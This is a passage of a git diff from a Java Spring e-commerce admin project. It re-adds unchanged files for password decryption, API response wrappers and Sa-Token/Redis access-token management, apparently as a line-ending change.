未经允许,不可做商业用途! - * - * 版权所有,侵权必究! - */ -package org.dromara.web.common; - -import cn.hutool.crypto.SecureUtil; -import cn.hutool.crypto.symmetric.AES; -import org.dromara.common.core.exception.user.UserException; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.stereotype.Component; - -import java.nio.charset.StandardCharsets; - -/** - * @author 菠萝凤梨 - * @date 2022/1/19 16:02 - */ -@Component -public class PasswordManager { - private static final Logger logger = LoggerFactory.getLogger(PasswordManager.class); - - /** - * 用于aes签名的key,16位 - */ - @Value("${auth.password.signKey:-mall4j-password}") - public String passwordSignKey; - - public String decryptPassword(String data) { - // 在使用oracle的JDK时,JAR包必须签署特殊的证书才能使用。 - // 解决方案 1.使用openJDK或者非oracle的JDK(建议) 2.添加证书 - // hutool的aes报错可以打开下面那段代码 - SecureUtil.disableBouncyCastle(); - AES aes = new AES(passwordSignKey.getBytes(StandardCharsets.UTF_8)); - String decryptStr; - String decryptPassword; - try { - decryptStr = aes.decryptStr(data); - decryptPassword = decryptStr.substring(13); - } catch (Exception e) { - logger.error("Exception:", e); - throw new UserException("AES解密错误", e); - } - return decryptPassword; - } -} +/* + * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. + * + * https://www.mall4j.com/ + * + * 未经允许,不可做商业用途! + * + * 版权所有,侵权必究! + */ +package org.dromara.web.common; + +import cn.hutool.crypto.SecureUtil; +import cn.hutool.crypto.symmetric.AES; +import org.dromara.common.core.exception.user.UserException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import java.nio.charset.StandardCharsets; + +/** + * @author 菠萝凤梨 + * @date 2022/1/19 16:02 + */ +@Component +public class PasswordManager { + private static final Logger logger = LoggerFactory.getLogger(PasswordManager.class); + + /** + * 用于aes签名的key,16位 + */ + @Value("${auth.password.signKey:-mall4j-password}") + public String passwordSignKey; + + public String decryptPassword(String data) { + // 在使用oracle的JDK时,JAR包必须签署特殊的证书才能使用。 + // 解决方案 1.使用openJDK或者非oracle的JDK(建议) 2.添加证书 + // hutool的aes报错可以打开下面那段代码 + SecureUtil.disableBouncyCastle(); + AES aes = new AES(passwordSignKey.getBytes(StandardCharsets.UTF_8)); + String decryptStr; + String decryptPassword; + try { + decryptStr = aes.decryptStr(data); + decryptPassword = decryptStr.substring(13); + } catch (Exception e) { + logger.error("Exception:", e); + throw new UserException("AES解密错误", e); + } + return decryptPassword; + } +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/common/ResponseEnum.java b/ruoyi-admin/src/main/java/org/dromara/web/common/ResponseEnum.java index 6e52e09..b3855ed 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/common/ResponseEnum.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/common/ResponseEnum.java @@ -1,69 +1,69 @@ -/* - * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. - * - * https://www.mall4j.com/ - * - * 未经允许,不可做商业用途! - * - * 版权所有,侵权必究! - */ -package org.dromara.web.common; - -/** - * @author FrozenWatermelon - * @date 2020/7/9 - */ -public enum ResponseEnum { - - /** - * ok - */ - OK("00000", "ok"), - SHOW_FAIL("A00001", ""), - - /** - * 用于直接显示提示用户的错误,内容由输入内容决定 - */ - - /** - * 用于直接显示提示系统的成功,内容由输入内容决定 - */ - SHOW_SUCCESS("A00002", ""), - - /** - * 未授权 - */ - UNAUTHORIZED("A00004", "Unauthorized"), - - /** - * 服务器出了点小差 - */ - EXCEPTION("A00005", "服务器出了点小差"), - /** - * 方法参数没有校验,内容由输入内容决定 - */ - METHOD_ARGUMENT_NOT_VALID("A00014", "方法参数没有校验"); - - private final String code; - - private final String msg; - - public String value() { - return code; - } - - public String getMsg() { - return msg; - } - - ResponseEnum(String code, String msg) { - this.code = code; - this.msg = msg; - } - - @Override - public String toString() { - return "ResponseEnum{" + "code='" + code + '\'' + ", msg='" + msg + '\'' + "} " + super.toString(); - } - -} +/* + * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. + * + * https://www.mall4j.com/ + * + * 未经允许,不可做商业用途! + * + * 版权所有,侵权必究! + */ +package org.dromara.web.common; + +/** + * @author FrozenWatermelon + * @date 2020/7/9 + */ +public enum ResponseEnum { + + /** + * ok + */ + OK("00000", "ok"), + SHOW_FAIL("A00001", ""), + + /** + * 用于直接显示提示用户的错误,内容由输入内容决定 + */ + + /** + * 用于直接显示提示系统的成功,内容由输入内容决定 + */ + SHOW_SUCCESS("A00002", ""), + + /** + * 未授权 + */ + UNAUTHORIZED("A00004", "Unauthorized"), + + /** + * 服务器出了点小差 + */ + EXCEPTION("A00005", "服务器出了点小差"), + /** + * 方法参数没有校验,内容由输入内容决定 + */ + METHOD_ARGUMENT_NOT_VALID("A00014", "方法参数没有校验"); + + private final String code; + + private final String msg; + + public String value() { + return code; + } + + public String getMsg() { + return msg; + } + + ResponseEnum(String code, String msg) { + this.code = code; + this.msg = msg; + } + + @Override + public String toString() { + return "ResponseEnum{" + "code='" + code + '\'' + ", msg='" + msg + '\'' + "} " + super.toString(); + } + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/common/SecurityUtils.java b/ruoyi-admin/src/main/java/org/dromara/web/common/SecurityUtils.java index 14ed80a..f227b82 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/common/SecurityUtils.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/common/SecurityUtils.java @@ -1,49 +1,49 @@ -package org.dromara.web.common; - - -import lombok.experimental.UtilityClass; - -/** - * @author LGH - */ -@UtilityClass -public class SecurityUtils { - - private static final String USER_REQUEST = "/api/"; - - /** - * 获取用户 - */ - public YamiUser getUser() { - if (!HttpContextUtils.getHttpServletRequest().getRequestURI().startsWith(USER_REQUEST)) { - // 用户相关的请求,应该以/p开头!!! - throw new RuntimeException("登录过期或已失效"); - } - - String accessToken = HttpContextUtils.getHttpServletRequest().getHeader("accessToken"); - TokenStore tokenStore = new TokenStore(); - UserInfoInTokenBO userInfoInTokenBO = tokenStore.getUserInfoByAccessToken(accessToken,false); - - YamiUser yamiUser = new YamiUser(); - yamiUser.setUserId(userInfoInTokenBO.getUserId()); - yamiUser.setBizUserId(userInfoInTokenBO.getBizUserId()); - yamiUser.setEnabled(userInfoInTokenBO.getEnabled()); - yamiUser.setShopId(userInfoInTokenBO.getShopId()); - yamiUser.setStationId(userInfoInTokenBO.getOtherId()); - return yamiUser; - } - - /** - * 获取用户ID - */ - public Long getUserInfo() { - Long userId = null; - try { - userId = getUser().getUserId(); - } catch (RuntimeException e) { - // 处理异常 - System.out.println(e.getMessage()); - } - return userId; - } -} +package org.dromara.web.common; + + +import lombok.experimental.UtilityClass; + +/** + * @author LGH + */ +@UtilityClass +public class SecurityUtils { + + private static final String USER_REQUEST = "/api/"; + + /** + * 获取用户 + */ + public YamiUser getUser() { + if (!HttpContextUtils.getHttpServletRequest().getRequestURI().startsWith(USER_REQUEST)) { + // 用户相关的请求,应该以/p开头!!! + throw new RuntimeException("登录过期或已失效"); + } + + String accessToken = HttpContextUtils.getHttpServletRequest().getHeader("accessToken"); + TokenStore tokenStore = new TokenStore(); + UserInfoInTokenBO userInfoInTokenBO = tokenStore.getUserInfoByAccessToken(accessToken,false); + + YamiUser yamiUser = new YamiUser(); + yamiUser.setUserId(userInfoInTokenBO.getUserId()); + yamiUser.setBizUserId(userInfoInTokenBO.getBizUserId()); + yamiUser.setEnabled(userInfoInTokenBO.getEnabled()); + yamiUser.setShopId(userInfoInTokenBO.getShopId()); + yamiUser.setStationId(userInfoInTokenBO.getOtherId()); + return yamiUser; + } + + /** + * 获取用户ID + */ + public Long getUserInfo() { + Long userId = null; + try { + userId = getUser().getUserId(); + } catch (RuntimeException e) { + // 处理异常 + System.out.println(e.getMessage()); + } + return userId; + } +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/common/ServerResponseEntity.java b/ruoyi-admin/src/main/java/org/dromara/web/common/ServerResponseEntity.java index ceffb75..a12a82c 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/common/ServerResponseEntity.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/common/ServerResponseEntity.java @@ -1,199 +1,199 @@ -package org.dromara.web.common; - -import lombok.extern.slf4j.Slf4j; - -import java.io.Serializable; -import java.util.Objects; - -/** - * @author lanhai - */ -@Slf4j -public class ServerResponseEntity implements Serializable { - - /** - * 状态码 - */ - private String code; - - /** - * 信息 - */ - private String msg; - - /** - * 数据 - */ - private T data; - - /** - * 版本 - */ - private String version; - - /** - * 时间 - */ - private Long timestamp; - -/* private String sign; - - public String getSign() { - return sign; - } - - public void setSign(String sign) { - this.sign = sign; - }*/ - - public String getCode() { - return code; - } - - public void setCode(String code) { - this.code = code; - } - - public String getMsg() { - return msg; - } - - public void setMsg(String msg) { - this.msg = msg; - } - - public T getData() { - return data; - } - - public ServerResponseEntity setData(T data) { - this.data = data; - return this; - } - - public String getVersion() { - return version; - } - - public void setVersion(String version) { - this.version = version; - } - - public Long getTimestamp() { - return timestamp; - } - - public void setTimestamp(Long timestamp) { - this.timestamp = timestamp; - } - - public boolean isSuccess() { - return Objects.equals(ResponseEnum.OK.value(), this.code); - } - public boolean isFail() { - return !Objects.equals(ResponseEnum.OK.value(), this.code); - } - - public ServerResponseEntity() { - // 版本号 - this.version = "1.0"; - } - - public static ServerResponseEntity success(T data) { - ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); - serverResponseEntity.setData(data); - serverResponseEntity.setCode(ResponseEnum.OK.value()); - serverResponseEntity.setTimestamp(System.currentTimeMillis()); - serverResponseEntity.setMsg("success"); - return serverResponseEntity; - } - - public static ServerResponseEntity success() { - ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); - serverResponseEntity.setCode(ResponseEnum.OK.value()); - serverResponseEntity.setMsg(ResponseEnum.OK.getMsg()); - serverResponseEntity.setMsg("success"); - serverResponseEntity.setTimestamp(System.currentTimeMillis()); - return serverResponseEntity; - } - - public static ServerResponseEntity success(Integer code, T data) { - return success(String.valueOf(code), data); - } - - public static ServerResponseEntity success(String code, T data) { - ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); - serverResponseEntity.setCode(code); - serverResponseEntity.setData(data); - serverResponseEntity.setMsg("success"); - serverResponseEntity.setTimestamp(System.currentTimeMillis()); - return serverResponseEntity; - } - - /** - * 前端显示失败消息 - * @param msg 失败消息 - * @return - */ - public static ServerResponseEntity showFailMsg(String msg) { - log.error(msg); - ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); - serverResponseEntity.setMsg(msg); - serverResponseEntity.setCode(ResponseEnum.SHOW_FAIL.value()); - serverResponseEntity.setTimestamp(System.currentTimeMillis()); - return serverResponseEntity; - } - - public static ServerResponseEntity fail(ResponseEnum responseEnum) { - log.error(responseEnum.toString()); - ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); - serverResponseEntity.setMsg(responseEnum.getMsg()); - serverResponseEntity.setCode(responseEnum.value()); - serverResponseEntity.setTimestamp(System.currentTimeMillis()); - return serverResponseEntity; - } - - public static ServerResponseEntity fail(ResponseEnum responseEnum, T data) { - log.error(responseEnum.toString()); - ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); - serverResponseEntity.setMsg(responseEnum.getMsg()); - serverResponseEntity.setCode(responseEnum.value()); - serverResponseEntity.setData(data); - serverResponseEntity.setTimestamp(System.currentTimeMillis()); - return serverResponseEntity; - } - - public static ServerResponseEntity fail(String code, String msg, T data) { - log.error(msg); - ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); - serverResponseEntity.setMsg(msg); - serverResponseEntity.setCode(code); - serverResponseEntity.setData(data); - serverResponseEntity.setTimestamp(System.currentTimeMillis()); - return serverResponseEntity; - } - - public static ServerResponseEntity fail(String code, String msg) { - return fail(code, msg, null); - } - - public static ServerResponseEntity fail(Integer code, T data) { - ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); - serverResponseEntity.setCode(String.valueOf(code)); - serverResponseEntity.setData(data); - serverResponseEntity.setTimestamp(System.currentTimeMillis()); - return serverResponseEntity; - } - - @Override - public String toString() { - return "ServerResponseEntity{" + - "code='" + code + '\'' + - ", msg='" + msg + '\'' + - ", data=" + data + - ", version='" + version + '\'' + - ", timestamp=" + timestamp + -// ", sign='" + sign + '\'' + - '}'; - } -} +package org.dromara.web.common; + +import lombok.extern.slf4j.Slf4j; + +import java.io.Serializable; +import java.util.Objects; + +/** + * @author lanhai + */ +@Slf4j +public class ServerResponseEntity implements Serializable { + + /** + * 状态码 + */ + private String code; + + /** + * 信息 + */ + private String msg; + + /** + * 数据 + */ + private T data; + + /** + * 版本 + */ + private String version; + + /** + * 时间 + */ + private Long timestamp; + +/* private String sign; + + public String getSign() { + return sign; + } + + public void setSign(String sign) { + this.sign = sign; + }*/ + + public String getCode() { + return code; + } + + public void setCode(String code) { + this.code = code; + } + + public String getMsg() { + return msg; + } + + public void setMsg(String msg) { + this.msg = msg; + } + + public T getData() { + return data; + } + + public ServerResponseEntity setData(T data) { + this.data = data; + return this; + } + + public String getVersion() { + return version; + } + + public void setVersion(String version) { + this.version = version; + } + + public Long getTimestamp() { + return timestamp; + } + + public void setTimestamp(Long timestamp) { + this.timestamp = timestamp; + } + + public boolean isSuccess() { + return Objects.equals(ResponseEnum.OK.value(), this.code); + } + public boolean isFail() { + return !Objects.equals(ResponseEnum.OK.value(), this.code); + } + + public ServerResponseEntity() { + // 版本号 + this.version = "1.0"; + } + + public static ServerResponseEntity success(T data) { + ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); + serverResponseEntity.setData(data); + serverResponseEntity.setCode(ResponseEnum.OK.value()); + serverResponseEntity.setTimestamp(System.currentTimeMillis()); + serverResponseEntity.setMsg("success"); + return serverResponseEntity; + } + + public static ServerResponseEntity success() { + ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); + serverResponseEntity.setCode(ResponseEnum.OK.value()); + serverResponseEntity.setMsg(ResponseEnum.OK.getMsg()); + serverResponseEntity.setMsg("success"); + serverResponseEntity.setTimestamp(System.currentTimeMillis()); + return serverResponseEntity; + } + + public static ServerResponseEntity success(Integer code, T data) { + return success(String.valueOf(code), data); + } + + public static ServerResponseEntity success(String code, T data) { + ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); + serverResponseEntity.setCode(code); + serverResponseEntity.setData(data); + serverResponseEntity.setMsg("success"); + serverResponseEntity.setTimestamp(System.currentTimeMillis()); + return serverResponseEntity; + } + + /** + * 前端显示失败消息 + * @param msg 失败消息 + * @return + */ + public static ServerResponseEntity showFailMsg(String msg) { + log.error(msg); + ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); + serverResponseEntity.setMsg(msg); + serverResponseEntity.setCode(ResponseEnum.SHOW_FAIL.value()); + serverResponseEntity.setTimestamp(System.currentTimeMillis()); + return serverResponseEntity; + } + + public static ServerResponseEntity fail(ResponseEnum responseEnum) { + log.error(responseEnum.toString()); + ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); + serverResponseEntity.setMsg(responseEnum.getMsg()); + serverResponseEntity.setCode(responseEnum.value()); + serverResponseEntity.setTimestamp(System.currentTimeMillis()); + return serverResponseEntity; + } + + public static ServerResponseEntity fail(ResponseEnum responseEnum, T data) { + log.error(responseEnum.toString()); + ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); + serverResponseEntity.setMsg(responseEnum.getMsg()); + serverResponseEntity.setCode(responseEnum.value()); + serverResponseEntity.setData(data); + serverResponseEntity.setTimestamp(System.currentTimeMillis()); + return serverResponseEntity; + } + + public static ServerResponseEntity fail(String code, String msg, T data) { + log.error(msg); + ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); + serverResponseEntity.setMsg(msg); + serverResponseEntity.setCode(code); + serverResponseEntity.setData(data); + serverResponseEntity.setTimestamp(System.currentTimeMillis()); + return serverResponseEntity; + } + + public static ServerResponseEntity fail(String code, String msg) { + return fail(code, msg, null); + } + + public static ServerResponseEntity fail(Integer code, T data) { + ServerResponseEntity serverResponseEntity = new ServerResponseEntity<>(); + serverResponseEntity.setCode(String.valueOf(code)); + serverResponseEntity.setData(data); + serverResponseEntity.setTimestamp(System.currentTimeMillis()); + return serverResponseEntity; + } + + @Override + public String toString() { + return "ServerResponseEntity{" + + "code='" + code + '\'' + + ", msg='" + msg + '\'' + + ", data=" + data + + ", version='" + version + '\'' + + ", timestamp=" + timestamp + +// ", sign='" + sign + '\'' + + '}'; + } +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/common/TokenInfoBO.java b/ruoyi-admin/src/main/java/org/dromara/web/common/TokenInfoBO.java index 51ad7e6..c53e524 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/common/TokenInfoBO.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/common/TokenInfoBO.java @@ -1,38 +1,38 @@ -/* - * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. - * - * https://www.mall4j.com/ - * - * 未经允许,不可做商业用途! - * - * 版权所有,侵权必究! - */ -package org.dromara.web.common; - - -import lombok.Data; - -/** - * token信息,该信息存在redis中 - * - * @author 菠萝凤梨 - * @date 2022/3/25 17:33 - */ -@Data -public class TokenInfoBO { - - /** - * 保存在token信息里面的用户信息 - */ - private UserInfoInTokenBO userInfoInToken; - - private String accessToken; - - private String refreshToken; - - /** - * 在多少秒后过期 - */ - private Integer expiresIn; - -} +/* + * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. + * + * https://www.mall4j.com/ + * + * 未经允许,不可做商业用途! + * + * 版权所有,侵权必究! + */ +package org.dromara.web.common; + + +import lombok.Data; + +/** + * token信息,该信息存在redis中 + * + * @author 菠萝凤梨 + * @date 2022/3/25 17:33 + */ +@Data +public class TokenInfoBO { + + /** + * 保存在token信息里面的用户信息 + */ + private UserInfoInTokenBO userInfoInToken; + + private String accessToken; + + private String refreshToken; + + /** + * 在多少秒后过期 + */ + private Integer expiresIn; + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/common/TokenInfoVO.java b/ruoyi-admin/src/main/java/org/dromara/web/common/TokenInfoVO.java index ac60a66..54aa390 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/common/TokenInfoVO.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/common/TokenInfoVO.java @@ -1,23 +1,23 @@ -package org.dromara.web.common; - -import io.swagger.v3.oas.annotations.media.Schema; -import lombok.Data; - -/** - * token信息,该信息用户返回给前端,前端请求携带accessToken进行用户校验 - * - * @author FrozenWatermelon - * @date 2020/7/2 - */ -@Data -public class TokenInfoVO { - - @Schema(description = "accessToken" ) - private String accessToken; - - @Schema(description = "refreshToken" ) - private String refreshToken; - - @Schema(description = "在多少秒后过期" ) - private Integer expiresIn; -} +package org.dromara.web.common; + +import io.swagger.v3.oas.annotations.media.Schema; +import lombok.Data; + +/** + * token信息,该信息用户返回给前端,前端请求携带accessToken进行用户校验 + * + * @author FrozenWatermelon + * @date 2020/7/2 + */ +@Data +public class TokenInfoVO { + + @Schema(description = "accessToken" ) + private String accessToken; + + @Schema(description = "refreshToken" ) + private String refreshToken; + + @Schema(description = "在多少秒后过期" ) + private Integer expiresIn; +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/common/TokenStore.java b/ruoyi-admin/src/main/java/org/dromara/web/common/TokenStore.java index 2ed33b0..4eb649c 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/common/TokenStore.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/common/TokenStore.java @@ -1,171 +1,171 @@ -package org.dromara.web.common; - -import cn.dev33.satoken.stp.StpUtil; -import cn.hutool.core.util.StrUtil; -import org.dromara.common.core.exception.user.UserException; -import org.dromara.common.redis.utils.RedisUtils; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.stereotype.Component; -import org.springframework.util.CollectionUtils; - -import java.time.Duration; -import java.util.ArrayList; -import java.util.List; -import java.util.Objects; - -/** - * token管理 1. 登陆返回token 2. 刷新token 3. 清除用户过去token 4. 校验token - * - * @author FrozenWatermelon - * @date 2020/7/2 - */ -@Component -public class TokenStore { - - private static final Logger logger = LoggerFactory.getLogger(TokenStore.class); - -// private final RedisTemplate redisTemplate; - - /*public TokenStore(RedisTemplate redisTemplate) { - this.redisTemplate = redisTemplate; - }*/ - - /** - * 以Sa-Token技术生成token,并返回token信息 - * @param userInfoInToken - * @return - */ - public TokenInfoBO storeAccessSaToken(UserInfoInTokenBO userInfoInToken) { - //生成过期时间 - int timeoutSecond = getExpiresIn(userInfoInToken.getSysType()); - Duration accessTokenExpires = Duration.ofSeconds(timeoutSecond); - - String uid = this.getUid(userInfoInToken.getSysType().toString(), userInfoInToken.getUserId()); - StpUtil.login(uid, timeoutSecond); - String token = StpUtil.getTokenValue(); - // 用户信息存入缓存 token生成 - String keyName = OauthCacheNames.USER_INFO + token; - RedisUtils.deleteObject(keyName); - RedisUtils.setCacheObject(keyName, userInfoInToken, accessTokenExpires); - // 数据封装返回(token不用加密) - TokenInfoBO tokenInfoBO = new TokenInfoBO(); - tokenInfoBO.setUserInfoInToken(userInfoInToken); - tokenInfoBO.setExpiresIn(timeoutSecond); - tokenInfoBO.setAccessToken(token); - tokenInfoBO.setRefreshToken(token); - return tokenInfoBO; - } - - /** - * 计算过期时间(单位:秒) - * @param sysType - * @return - */ - private int getExpiresIn(int sysType) { - // 3600秒 - int expiresIn = 3600; - // 普通用户token过期时间 - if (Objects.equals(sysType, 0)) { - expiresIn = expiresIn * 24 * 30; - } - // 系统管理员的token过期时间 - if (Objects.equals(sysType, 1)) { - expiresIn = expiresIn * 24 * 30; - } - return expiresIn; - } - - /** - * 根据accessToken 获取用户信息 - * @param accessToken accessToken - * @param needDecrypt 是否需要解密 - * @return 用户信息 - */ - public UserInfoInTokenBO getUserInfoByAccessToken(String accessToken, boolean needDecrypt) { - if (StrUtil.isBlank(accessToken)) { - throw new UserException("accessToken is blank"); - } - String keyName = OauthCacheNames.USER_INFO + accessToken; - Object redisCache = RedisUtils.getCacheObject(keyName); - if (redisCache == null) { - throw new UserException("-2","登录过期,请重新登录"); - } - return (UserInfoInTokenBO) redisCache; - } - - /** - * 刷新token,并返回新的token - * @param refreshToken - * @return - */ - public TokenInfoBO refreshToken(String refreshToken) { - if (StrUtil.isBlank(refreshToken)) { - throw new UserException("refreshToken is blank"); - } - // 删除旧token - UserInfoInTokenBO userInfoInTokenBO = getUserInfoByAccessToken(refreshToken, false); - this.deleteCurrentToken(refreshToken); - // 保存一份新的token - return storeAccessSaToken(userInfoInTokenBO); - } - - /** - * 删除指定用户的全部的token - */ - public void deleteAllToken(String sysType, Long userId) { - // 删除用户缓存 - String uid = this.getUid(sysType, userId); - List tokens = StpUtil.getTokenValueListByLoginId(uid); - if (!CollectionUtils.isEmpty(tokens)) { - List keyNames = new ArrayList<>(); - for (String token : tokens) { - keyNames.add(OauthCacheNames.USER_INFO + token); - } - RedisUtils.deleteObject(keyNames); - } - // 移除token - StpUtil.logout(userId); - } - - /** - * 生成token,并返回token展示信息 - * @param userInfoInToken - * @return - */ - public TokenInfoVO storeAndGetVo(UserInfoInTokenBO userInfoInToken) { - if (!userInfoInToken.getEnabled()){ - // 用户已禁用,请联系客服 - throw new UserException("用户已禁用,请联系客服"); - } - TokenInfoBO tokenInfoBO = storeAccessSaToken(userInfoInToken); - // 数据封装返回 - TokenInfoVO tokenInfoVO = new TokenInfoVO(); - tokenInfoVO.setAccessToken(tokenInfoBO.getAccessToken()); - tokenInfoVO.setRefreshToken(tokenInfoBO.getRefreshToken()); - tokenInfoVO.setExpiresIn(tokenInfoBO.getExpiresIn()); - return tokenInfoVO; - } - - /** - * 删除当前登录的token - * @param accessToken 令牌 - */ - public void deleteCurrentToken(String accessToken) { - // 删除用户缓存 - String keyName = OauthCacheNames.USER_INFO + accessToken; - RedisUtils.deleteObject(keyName); - // 移除token - StpUtil.logoutByTokenValue(accessToken); - } - - /** - * 生成各系统唯一uid - * @param sysType 系统类型 - * @param userId 用户id - * @return - */ - private String getUid(String sysType, Long userId) { - return sysType + ":" + userId; - } -} +package org.dromara.web.common; + +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.util.StrUtil; +import org.dromara.common.core.exception.user.UserException; +import org.dromara.common.redis.utils.RedisUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import java.time.Duration; +import java.util.ArrayList; +import java.util.List; +import java.util.Objects; + +/** + * token管理 1. 登陆返回token 2. 刷新token 3. 清除用户过去token 4. 校验token + * + * @author FrozenWatermelon + * @date 2020/7/2 + */ +@Component +public class TokenStore { + + private static final Logger logger = LoggerFactory.getLogger(TokenStore.class); + +// private final RedisTemplate redisTemplate; + + /*public TokenStore(RedisTemplate redisTemplate) { + this.redisTemplate = redisTemplate; + }*/ + + /** + * 以Sa-Token技术生成token,并返回token信息 + * @param userInfoInToken + * @return + */ + public TokenInfoBO storeAccessSaToken(UserInfoInTokenBO userInfoInToken) { + //生成过期时间 + int timeoutSecond = getExpiresIn(userInfoInToken.getSysType()); + Duration accessTokenExpires = Duration.ofSeconds(timeoutSecond); + + String uid = this.getUid(userInfoInToken.getSysType().toString(), userInfoInToken.getUserId()); + StpUtil.login(uid, timeoutSecond); + String token = StpUtil.getTokenValue(); + // 用户信息存入缓存 token生成 + String keyName = OauthCacheNames.USER_INFO + token; + RedisUtils.deleteObject(keyName); + RedisUtils.setCacheObject(keyName, userInfoInToken, accessTokenExpires); + // 数据封装返回(token不用加密) + TokenInfoBO tokenInfoBO = new TokenInfoBO(); + tokenInfoBO.setUserInfoInToken(userInfoInToken); + tokenInfoBO.setExpiresIn(timeoutSecond); + tokenInfoBO.setAccessToken(token); + tokenInfoBO.setRefreshToken(token); + return tokenInfoBO; + } + + /** + * 计算过期时间(单位:秒) + * @param sysType + * @return + */ + private int getExpiresIn(int sysType) { + // 3600秒 + int expiresIn = 3600; + // 普通用户token过期时间 + if (Objects.equals(sysType, 0)) { + expiresIn = expiresIn * 24 * 30; + } + // 系统管理员的token过期时间 + if (Objects.equals(sysType, 1)) { + expiresIn = expiresIn * 24 * 30; + } + return expiresIn; + } + + /** + * 根据accessToken 获取用户信息 + * @param accessToken accessToken + * @param needDecrypt 是否需要解密 + * @return 用户信息 + */ + public UserInfoInTokenBO getUserInfoByAccessToken(String accessToken, boolean needDecrypt) { + if (StrUtil.isBlank(accessToken)) { + throw new UserException("accessToken is blank"); + } + String keyName = OauthCacheNames.USER_INFO + accessToken; + Object redisCache = RedisUtils.getCacheObject(keyName); + if (redisCache == null) { + throw new UserException("-2","登录过期,请重新登录"); + } + return (UserInfoInTokenBO) redisCache; + } + + /** + * 刷新token,并返回新的token + * @param refreshToken + * @return + */ + public TokenInfoBO refreshToken(String refreshToken) { + if (StrUtil.isBlank(refreshToken)) { + throw new UserException("refreshToken is blank"); + } + // 删除旧token + UserInfoInTokenBO userInfoInTokenBO = getUserInfoByAccessToken(refreshToken, false); + this.deleteCurrentToken(refreshToken); + // 保存一份新的token + return storeAccessSaToken(userInfoInTokenBO); + } + + /** + * 删除指定用户的全部的token + */ + public void deleteAllToken(String sysType, Long userId) { + // 删除用户缓存 + String uid = this.getUid(sysType, userId); + List tokens = StpUtil.getTokenValueListByLoginId(uid); + if (!CollectionUtils.isEmpty(tokens)) { + List keyNames = new ArrayList<>(); + for (String token : tokens) { + keyNames.add(OauthCacheNames.USER_INFO + token); + } + RedisUtils.deleteObject(keyNames); + } + // 移除token + StpUtil.logout(userId); + } + + /** + * 生成token,并返回token展示信息 + * @param userInfoInToken + * @return + */ + public TokenInfoVO storeAndGetVo(UserInfoInTokenBO userInfoInToken) { + if (!userInfoInToken.getEnabled()){ + // 用户已禁用,请联系客服 + throw new UserException("用户已禁用,请联系客服"); + } + TokenInfoBO tokenInfoBO = storeAccessSaToken(userInfoInToken); + // 数据封装返回 + TokenInfoVO tokenInfoVO = new TokenInfoVO(); + tokenInfoVO.setAccessToken(tokenInfoBO.getAccessToken()); + tokenInfoVO.setRefreshToken(tokenInfoBO.getRefreshToken()); + tokenInfoVO.setExpiresIn(tokenInfoBO.getExpiresIn()); + return tokenInfoVO; + } + + /** + * 删除当前登录的token + * @param accessToken 令牌 + */ + public void deleteCurrentToken(String accessToken) { + // 删除用户缓存 + String keyName = OauthCacheNames.USER_INFO + accessToken; + RedisUtils.deleteObject(keyName); + // 移除token + StpUtil.logoutByTokenValue(accessToken); + } + + /** + * 生成各系统唯一uid + * @param sysType 系统类型 + * @param userId 用户id + * @return + */ + private String getUid(String sysType, Long userId) { + return sysType + ":" + userId; + } +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/common/UserInfoInTokenBO.java b/ruoyi-admin/src/main/java/org/dromara/web/common/UserInfoInTokenBO.java index 017f361..e7d2e23 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/common/UserInfoInTokenBO.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/common/UserInfoInTokenBO.java @@ -1,71 +1,71 @@ -/* - * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. - * - * https://www.mall4j.com/ - * - * 未经允许,不可做商业用途! - * - * 版权所有,侵权必究! - */ -package org.dromara.web.common; - -import lombok.Data; - -import java.util.Set; - -/** - * 保存在token信息里面的用户信息 - * - * @author 菠萝凤梨 - * @date 2022/3/25 17:33 - */ -@Data -public class UserInfoInTokenBO { - - /** - * 用户在自己系统的用户id - */ - private Long userId; - - /** - * 租户id (商家id) - */ - private Long 